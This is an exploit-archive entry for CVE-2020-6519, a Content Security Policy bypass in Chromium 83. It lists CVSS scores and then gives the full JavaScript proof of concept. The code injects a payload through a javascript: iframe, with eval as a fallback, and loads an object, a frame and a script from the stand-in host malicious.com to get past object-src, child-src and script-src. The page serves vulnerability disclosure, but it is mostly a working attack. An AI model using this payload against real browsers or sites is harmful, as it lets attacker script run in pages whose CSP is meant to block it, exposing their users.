Chromium 83 CSP Bypass

2020.12.04
Credit: Gal Weizman
Risk: Low
Local: No
Remote: Yes


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#Title: Chromium 83 - Full CSP Bypass #Date: 02/09/2020 #Exploit Author: Gal Weizman #Vendor Homepage: https://www.chromium.org/ #Software Link: https://download-chromium.appspot.com/ #Version: 83 #Tested On: Mac OS, Windows, iPhone, Android #CVE: CVE-2020-6519 (function(){ var payload = ` top.SUCCESS = true; var o = document.createElement("object"); o.data = \`http://malicious.com/bypass-object-src.html\`; document.body.appendChild(o); var i = document.createElement("iframe"); i.src = \`http://malicious.com/bypass-child-src.html\`; document.body.appendChild(i); var s = document.createElement("script"); s.src = \`http://malicious.com/bypass-script-src.js\`; document.body.appendChild(s); `; document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>"; setTimeout(() => { if (!top.SUCCESS) { XXX.contentWindow.eval(payload); } }); }()) // further information: https://github.com/weizman/CVE-2020-6519


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